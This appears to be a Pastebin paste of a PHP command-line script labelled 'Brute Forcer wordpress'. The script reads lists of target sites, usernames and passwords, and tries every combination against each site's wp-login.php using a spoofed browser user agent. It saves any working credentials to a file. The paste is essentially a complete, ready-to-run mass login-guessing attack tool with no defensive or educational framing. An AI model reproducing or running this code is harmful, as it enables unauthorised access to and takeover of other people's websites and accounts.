Advertisement
Kro0oz

Brute Forcer

Jul 6th, 2015
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.07 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. /*
  5. Brute Forcer:
  6.  
  7. */
  8.  
  9.  
  10. if (!extension_loaded('curl')) die("cURL extension required\n");
  11. error_reporting(0);
  12. set_time_limit(0);
  13.  
  14.  
  15. print_r("\n
  16.  
  17.          
  18. .-..-.       .-..-.            .--.                .----. .--. .----.
  19. : `' :       : :' ;           : ,. :               `--  ;: ,. :: .--'
  20. : .. :.--.   :   ' .--.  .--. : :: : .--. .---.     .' ' : :: :`. `.
  21. : :; :: ..'_ : :.`.: ..'' .; :: :; :' .; :`-'_.' _  _`,`.: :; :.-`, :
  22. :_;:_;:_; :_;:_;:_;:_;  `.__.'`.__.'`.__.'`.___;:_;`.__.'`.__.'`.__.'
  23.  
  24.   Brute Forcer  wordpress
  25. \n\n
  26. \n[*] list site (1/3) :");
  27.  
  28.  
  29. $file_host = stdin();
  30.  
  31.  
  32. echo "\n\n[*] list user (2/3) :";
  33.  
  34.  
  35. $file_user = stdin();
  36.  
  37.  
  38. echo "\n\n[*] list pass (2/3) :";
  39.  
  40.  
  41. $file_pass = stdin();
  42.  
  43.  
  44.  
  45. $wp_crack = new wp_cracker();
  46.  
  47.  
  48.  
  49. $crack = $wp_crack->cracker($file_host,$file_user,$file_pass);
  50.  
  51. if($crack){die('# END Brute Forcer ');}
  52.  
  53.  
  54.  
  55. class wp_cracker{
  56.  
  57.  
  58. public function cracker($file_host,$file_user,$file_pass){
  59.  
  60.  
  61.  
  62. $list_host = file_get_contents($file_host) or die ("\n WTF list host not found ?");
  63.  
  64. $list_user = file_get_contents($file_user) or die (" \n WTF list user not found ? \n");
  65.  
  66. $list_pass = file_get_contents($file_pass) or die (" \n WTF list pass not found ? \n");
  67.  
  68. $exp_host  = explode("\n",$list_host);
  69.  
  70. $exp_user  = explode("\n",$list_user);
  71.  
  72. $exp_pass  = explode("\n",$list_pass);
  73.  
  74. $c_host    = count($exp_host);
  75.  
  76. $c_user    = count($exp_user);
  77.  
  78. $c_pass    = count($exp_pass);
  79.  
  80.  
  81. echo "
  82. |=================================================  +
  83. | Host : $file_host - ($c_host)
  84. |
  85. | Username : $file_user - ($c_user)
  86. |
  87. | Password : $file_pass - ($c_pass)
  88. |
  89. | Start Brute Forcer > > >
  90. |=================================================  +
  91. \n";
  92.  
  93.  
  94.  
  95. foreach ($exp_host as $host){
  96.  
  97. $host = str_replace('http://','',trim($host));
  98.  
  99.  
  100. $get =  get_headers("http://$host/wp-login.php");
  101.  
  102.  
  103.        if (!preg_match("/200 OK/",$get[0])){
  104.          continue;
  105.         flush();
  106.       }
  107.  
  108.  
  109.        foreach($exp_user as $user) {
  110.  
  111.          flush();
  112.  
  113.  
  114.  
  115.                 foreach($exp_pass as $pass){
  116.  
  117.  
  118.  
  119.                         flush();
  120.  
  121.                         $host = trim($host);
  122.                         $user = trim($user);
  123.                         $pass = trim($pass);
  124.  
  125.                         echo "Testing -> $host:$user:$pass \n";
  126.  
  127.                         $login = $this->login($host,$user,$pass);
  128.  
  129.                         if($login){echo "\n [+] Found : $host:$user:$pass \n\n";
  130.  
  131.                         $this->save($host,$user,$pass);
  132.  
  133.                         flush();
  134.                         }else{continue;}
  135.  
  136.                           ob_clear ;
  137.                         flush();
  138.  
  139.                 }
  140.            ob_clear ;
  141.          flush();
  142.  
  143.        }
  144.    ob_clear;
  145. flush();
  146.  
  147. }
  148.  
  149. return true;
  150.  
  151. }
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159. private function login($host,$user,$pass){
  160.  
  161.  
  162.  
  163.     $curl = curl_init();
  164.     curl_setopt($curl, CURLOPT_POST, 1);
  165.     curl_setopt($curl, CURLOPT_POSTFIELDS,"log=$user&pwd=$pass&rememberme=forever&wp-submit=Log In&testcookie=1");
  166.     curl_setopt($curl, CURLOPT_URL,"http://".$host."/wp-login.php");
  167.     curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
  168.     curl_setopt($curl, CURLOPT_HEADER,0);
  169.     curl_setopt($curl, CURLOPT_VERBOSE,0);
  170.     curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
  171.     curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)');
  172.     curl_setopt($curl, CURLOPT_COOKIEJAR,"COOKIE.txt");
  173.     curl_setopt($curl, CURLOPT_COOKIEFILE,"COOKIE.txt");
  174.     $ex = curl_exec($curl);
  175.  
  176.     if($ex){
  177.  
  178.  
  179.            if(!preg_match('/ERROR/',$ex)){
  180.  
  181.               curl_close($curl);
  182.  
  183.              return true;
  184.  
  185.           }
  186.  
  187.     }
  188.  
  189. curl_close($curl);
  190.  
  191. return false;
  192.  
  193. }
  194.  
  195.  
  196. private function save($host,$user,$pass){
  197.  
  198. $f = fopen('wp.txt','ab');
  199. $w = fwrite($f,"[$host] - [$user] - [$pass) \n");
  200. if($w){return true;}
  201.  
  202. }
  203.  
  204.  
  205.  
  206.  
  207. }
  208.  
  209.  
  210. function stdin(){
  211.     $fp = fopen("php://stdin","r");
  212.     $line = trim(fgets($fp));
  213.     fclose($fp);
  214.     return $line;
  215. }
  216.  
  217.  
  218.  
  219. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement